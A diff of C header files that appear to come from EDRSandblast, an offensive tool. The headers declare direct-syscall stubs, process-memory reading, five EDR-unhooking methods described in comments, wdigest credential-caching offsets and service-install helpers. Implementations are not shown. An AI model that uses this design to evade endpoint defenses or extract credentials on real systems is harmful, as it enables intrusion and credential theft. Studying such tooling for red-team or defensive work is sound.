OUT PULONG ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtClose(
|
||||
IN HANDLE Handle);
|
||||
|
||||
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN ULONG ZeroBits,
|
||||
IN OUT PSIZE_T RegionSize,
|
||||
IN ULONG AllocationType,
|
||||
IN ULONG Protect);
|
||||
|
||||
EXTERN_C NTSTATUS NtOpenProcess(
|
||||
OUT PHANDLE ProcessHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
IN PCLIENT_ID ClientId OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtQueryVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress,
|
||||
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
|
||||
OUT PVOID MemoryInformation,
|
||||
IN SIZE_T MemoryInformationLength,
|
||||
OUT PSIZE_T ReturnLength OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtReadVirtualMemory(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID BaseAddress OPTIONAL,
|
||||
OUT PVOID Buffer,
|
||||
IN SIZE_T BufferSize,
|
||||
OUT PSIZE_T NumberOfBytesRead OPTIONAL);
|
||||
|
||||
EXTERN_C NTSTATUS NtCreateFile(
|
||||
OUT PHANDLE FileHandle,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN PLARGE_INTEGER AllocationSize OPTIONAL,
|
||||
IN ULONG FileAttributes,
|
||||
IN ULONG ShareAccess,
|
||||
IN ULONG CreateDisposition,
|
||||
IN ULONG CreateOptions,
|
||||
IN PVOID EaBuffer OPTIONAL,
|
||||
IN ULONG EaLength);
|
||||
|
||||
EXTERN_C NTSTATUS NtWriteFile(
|
||||
IN HANDLE FileHandle,
|
||||
IN HANDLE Event OPTIONAL,
|
||||
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
|
||||
IN PVOID ApcContext OPTIONAL,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN PVOID Buffer,
|
||||
IN ULONG Length,
|
||||
IN PLARGE_INTEGER ByteOffset OPTIONAL,
|
||||
IN PULONG Key OPTIONAL);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "winerror.h"
|
||||
#include <wincrypt.h>
|
||||
#include <wintrust.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
typedef
|
||||
enum _SignatureOpsError {
|
||||
E_FILE_NOT_FOUND = -2,
|
||||
E_KO = -1,
|
||||
E_SUCCESS = 0,
|
||||
E_INSUFFICIENT_BUFFER = 1,
|
||||
E_NOT_SIGNED = 2
|
||||
} SignatureOpsError;
|
||||
//typedef enum _signatureOpsError signatureOpsError;
|
||||
|
||||
/*
|
||||
* Retrieves a string containing the Signers of the specificied file concatenated.
|
||||
* Parameters:
|
||||
* [in] pFilePath: path the file.
|
||||
* [out] outSigners: out string that will contain the concatenated Signers. If outSigners is NULL, szOutSigners will contain the number of TCHAR required for the output string (termination included).
|
||||
* [in,out] szOutSigners: length of outSigners. If szOutSigners is too small, szOutSigners will contain the number of TCHAR required for the output string (termination included).
|
||||
*/
|
||||
SignatureOpsError GetFileSigners(TCHAR* pFilePath, TCHAR* outSigners, size_t* szOutSigners);
|
||||
@@ -0,0 +1,12 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "Undoc.h"
|
||||
#include "time.h"
|
||||
|
||||
VOID getUnicodeStringFromTCHAR(OUT PUNICODE_STRING unicodeString, IN WCHAR* tcharString);
|
||||
|
||||
TCHAR* generateRandomString(TCHAR* str, size_t size);
|
||||
TCHAR* allocAndGenerateRandomString(size_t length);
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "SW2_Syscalls.h"
|
||||
|
||||
#define ProcessImageFileName 27
|
||||
|
||||
DWORD SandGetProcessPID(HANDLE hProcess);
|
||||
|
||||
PUNICODE_STRING SandGetProcessImage(HANDLE hProcess);
|
||||
|
||||
DWORD SandGetProcessFilename(PUNICODE_STRING ProcessImageUnicodeStr, TCHAR* ImageFileName, DWORD nSize);
|
||||
|
||||
DWORD SandFindProcessPidByName(TCHAR* targetProcessName, DWORD* pPid);
|
||||
@@ -0,0 +1,4 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName);
|
||||
+116
-10
@@ -148,6 +148,7 @@
|
||||
#ifdef _MSC_VER
|
||||
//when compiling as C
|
||||
#pragma warning (disable:4214) //Warning Level 4: C4214: nonstandard extension used : bit field types other than int
|
||||
#pragma warning (disable:4201) //Warning Level 4: C4201: nonstandard extension used: nameless struct/union
|
||||
|
||||
//"#pragma pack(1)" not needed as Microsoft has designed all structure members to be on natural boundaries
|
||||
|
||||
@@ -276,9 +277,15 @@ struct RTL_CRITICAL_SECTION
|
||||
|
||||
typedef struct _CLIENT_ID
|
||||
{
|
||||
DWORD ProcessId;
|
||||
DWORD ThreadId;
|
||||
} CLIENT_ID;
|
||||
HANDLE ProcessId;
|
||||
HANDLE ThreadId;
|
||||
} CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
//typedef struct _CLIENT_ID
|
||||
//{
|
||||
// HANDLE UniqueProcess;
|
||||
// HANDLE UniqueThread;
|
||||
//} CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
/*
|
||||
typedef struct _PROCESSOR_NUMBER
|
||||
@@ -293,16 +300,15 @@ typedef struct _STRING
|
||||
{
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
CHAR* Buffer;
|
||||
CHAR* Buffer;
|
||||
} STRING;
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING;
|
||||
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
|
||||
//
|
||||
// Exception-specific structures and definitions
|
||||
@@ -469,7 +475,7 @@ typedef struct _PEB_LDR_DATA
|
||||
LIST_ENTRY InMemoryOrderModuleList; //0x14
|
||||
LIST_ENTRY InInitializationOrderModuleList; //0x1C
|
||||
void* EntryInProgress; //0x24
|
||||
} PEB_LDR_DATA;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
typedef struct PEB_FREE_BLOCK PEB_FREE_BLOCK;
|
||||
struct PEB_FREE_BLOCK
|
||||
@@ -509,7 +515,7 @@ typedef struct _RTL_USER_PROCESS_PARAMETERS
|
||||
UNICODE_STRING ShellInfo; //0x80
|
||||
UNICODE_STRING RuntimeData; //0x88
|
||||
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; //0x90
|
||||
} RTL_USER_PROCESS_PARAMETERS;
|
||||
} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
|
||||
|
||||
//
|
||||
// PEB (Process Environment Block) 32-bit
|
||||
@@ -728,7 +734,7 @@ typedef struct _PEB
|
||||
} dword254;
|
||||
void* WaitOnAddressHashTable[128]; //0x025C
|
||||
|
||||
} PEB;
|
||||
} PEB, * PPEB;
|
||||
|
||||
|
||||
//
|
||||
@@ -1152,4 +1158,104 @@ typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
LIST_ENTRY StaticLinks;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
#define OBJ_CASE_INSENSITIVE 0x00000040L
|
||||
#define FILE_SUPERSEDE 0x00000000
|
||||
#define FILE_OPEN 0x00000001
|
||||
#define FILE_CREATE 0x00000002
|
||||
#define FILE_OPEN_IF 0x00000003
|
||||
#define FILE_OVERWRITE 0x00000004
|
||||
#define FILE_MAXIMUM_DISPOSITION 0x00000005
|
||||
#define FILE_DIRECTORY_FILE 0x00000001
|
||||
#define FILE_WRITE_THROUGH 0x00000002
|
||||
#define FILE_SEQUENTIAL_ONLY 0x00000004
|
||||
#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008
|
||||
#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010
|
||||
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
|
||||
#define FILE_NON_DIRECTORY_FILE 0x00000040
|
||||
#define FILE_CREATE_TREE_CONNECTION 0x00000080
|
||||
#define FILE_COMPLETE_IF_OPLOCKED 0x00000100
|
||||
#define FILE_NO_EA_KNOWLEDGE 0x00000200
|
||||
#define FILE_OPEN_FOR_RECOVERY 0x00000400
|
||||
#define FILE_RANDOM_ACCESS 0x00000800
|
||||
#define FILE_DELETE_ON_CLOSE 0x00001000
|
||||
#define FILE_OPEN_BY_FILE_ID 0x00002000
|
||||
#define FILE_OVERWRITE_IF 0x00000005
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK
|
||||
{
|
||||
union
|
||||
{
|
||||
NTSTATUS Status;
|
||||
VOID* Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES
|
||||
{
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor;
|
||||
PVOID SecurityQualityOfService;
|
||||
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
|
||||
typedef enum _PROCESSINFOCLASS
|
||||
{
|
||||
ProcessBasicInformation = 0,
|
||||
ProcessDebugPort = 7,
|
||||
ProcessWow64Information = 26,
|
||||
ProcessImageFileName = 27,
|
||||
ProcessBreakOnTermination = 29
|
||||
} PROCESSINFOCLASS, * PPROCESSINFOCLASS;
|
||||
|
||||
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
|
||||
IN PVOID ApcContext,
|
||||
IN PIO_STATUS_BLOCK IoStatusBlock,
|
||||
IN ULONG Reserved);
|
||||
|
||||
typedef LONG KPRIORITY;
|
||||
typedef struct _PROCESS_BASIC_INFORMATION {
|
||||
NTSTATUS ExitStatus;
|
||||
PPEB PebBaseAddress;
|
||||
ULONG_PTR AffinityMask;
|
||||
KPRIORITY BasePriority;
|
||||
ULONG_PTR UniqueProcessId;
|
||||
ULONG_PTR InheritedFromUniqueProcessId;
|
||||
} PROCESS_BASIC_INFORMATION;
|
||||
typedef enum _MEMORY_INFORMATION_CLASS {
|
||||
MemoryBasicInformation,
|
||||
MemoryWorkingSetInformation,
|
||||
MemoryMappedFilenameInformation,
|
||||
MemoryRegionInformation,
|
||||
MemoryWorkingSetExInformation,
|
||||
MemorySharedCommitInformation,
|
||||
MemoryImageInformation,
|
||||
MemoryRegionInformationEx,
|
||||
MemoryPrivilegedBasicInformation,
|
||||
MemoryEnclaveImageInformation,
|
||||
MemoryBasicInformationCapped
|
||||
} MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
|
||||
#define STATUS_SUCCES 0x00000000
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
#define STATUS_PARTIAL_COPY 0x8000000D
|
||||
#define STATUS_ACCESS_DENIED 0xC0000022
|
||||
#define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A
|
||||
#define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
|
||||
#define STATUS_OBJECT_NAME_INVALID 0xc0000033
|
||||
#define STATUS_SHARING_VIOLATION 0xC0000043
|
||||
#define STATUS_NO_MORE_ENTRIES 0x8000001A
|
||||
#define STATUS_INVALID_CID 0xC000000B
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
|
||||
#define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
|
||||
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
|
||||
#define STATUS_OBJECT_NAME_COLLISION 0xC0000035
|
||||
#define STATUS_ALERTED 0x00000101
|
||||
|
||||
#include "undoc_64.h"
|
||||
|
||||
@@ -95,8 +95,8 @@ typedef struct UNICODE_STRING64
|
||||
} u;
|
||||
QWORD dummyalign;
|
||||
} uOrDummyAlign;
|
||||
QWORD Buffer;
|
||||
} UNICODE_STRING64;
|
||||
WCHAR* Buffer;
|
||||
} UNICODE_STRING64, * PUNICODE_STRING64;
|
||||
|
||||
typedef struct _CLIENT_ID64
|
||||
{
|
||||
@@ -104,7 +104,6 @@ typedef struct _CLIENT_ID64
|
||||
QWORD ThreadId;
|
||||
} CLIENT_ID64;
|
||||
|
||||
|
||||
//NOTE: the members of this structure are not yet complete
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS64
|
||||
{
|
||||
@@ -215,7 +214,7 @@ typedef struct PEB64
|
||||
QWORD SystemAssemblyStorageMap; //0x0310
|
||||
QWORD MinimumStackCommit; //0x0318
|
||||
|
||||
} PEB64; //struct PEB64
|
||||
} PEB64, * PPEB64; //struct PEB64
|
||||
|
||||
//
|
||||
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
|
||||
|
||||
@@ -1,52 +1,61 @@
|
||||
#pragma once
|
||||
#include "PEParser.h"
|
||||
|
||||
typedef struct diff_t {
|
||||
PVOID disk_ptr;
|
||||
PVOID mem_ptr;
|
||||
size_t size;
|
||||
} diff;
|
||||
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
|
||||
#if _WIN64
|
||||
#define PATCH_MAX_SIZE 0x18
|
||||
#else
|
||||
#define PATCH_MAX_SIZE 0x10
|
||||
#endif
|
||||
|
||||
typedef struct hook_t {
|
||||
PVOID disk_function;
|
||||
PVOID mem_function;
|
||||
LPCSTR functionName;
|
||||
diff* list_patches;
|
||||
} hook;
|
||||
typedef struct PATCH_DIFF_t {
|
||||
PVOID disk_ptr;
|
||||
PVOID mem_ptr;
|
||||
size_t size;
|
||||
} PATCH_DIFF;
|
||||
|
||||
typedef struct HOOK_t {
|
||||
PVOID disk_function;
|
||||
PVOID mem_function;
|
||||
LPCSTR functionName;
|
||||
PATCH_DIFF* list_patches;
|
||||
} HOOK;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection);
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
|
||||
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||
|
||||
enum unhook_method_e {
|
||||
UNHOOK_NONE,
|
||||
typedef enum UNHOOK_METHOD_e {
|
||||
UNHOOK_NONE,
|
||||
|
||||
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||
UNHOOK_WITH_DIRECT_SYSCALL
|
||||
};
|
||||
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||
UNHOOK_WITH_DIRECT_SYSCALL
|
||||
}UNHOOK_METHOD;
|
||||
|
||||
hook* searchHooks(const char* csvFileName);
|
||||
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName);
|
||||
PVOID hookResolver(PBYTE hookAddr);
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
|
||||
VOID unhook(hook* hook, DWORD unhook_method);
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget);
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch);
|
||||
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method);
|
||||
|
||||
|
||||
/*
|
||||
|
||||
@@ -13,7 +13,8 @@
|
||||
|
||||
enum WdigestOffsetType {
|
||||
g_fParameter_UseLogonCredential = 0,
|
||||
g_IsCredGuardEnabled = 1
|
||||
g_IsCredGuardEnabled = 1,
|
||||
_SUPPORTED_WDIGEST_OFFSETS_END
|
||||
};
|
||||
|
||||
union WdigestOffsets {
|
||||
@@ -29,7 +30,12 @@ union WdigestOffsets {
|
||||
DWORD64 ar[2];
|
||||
};
|
||||
|
||||
union WdigestOffsets wdigestOffsets;
|
||||
union WdigestOffsets g_wdigestOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
|
||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
|
||||
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
|
||||
|
||||
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb);
|
||||
|
||||
LPTSTR GetWdigestPath();
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
#include <time.h>
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||
#define OP_SLEEP_TIME 1000
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle);
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus);
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt);
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount);
|
||||
Reference in New Issue
Block a user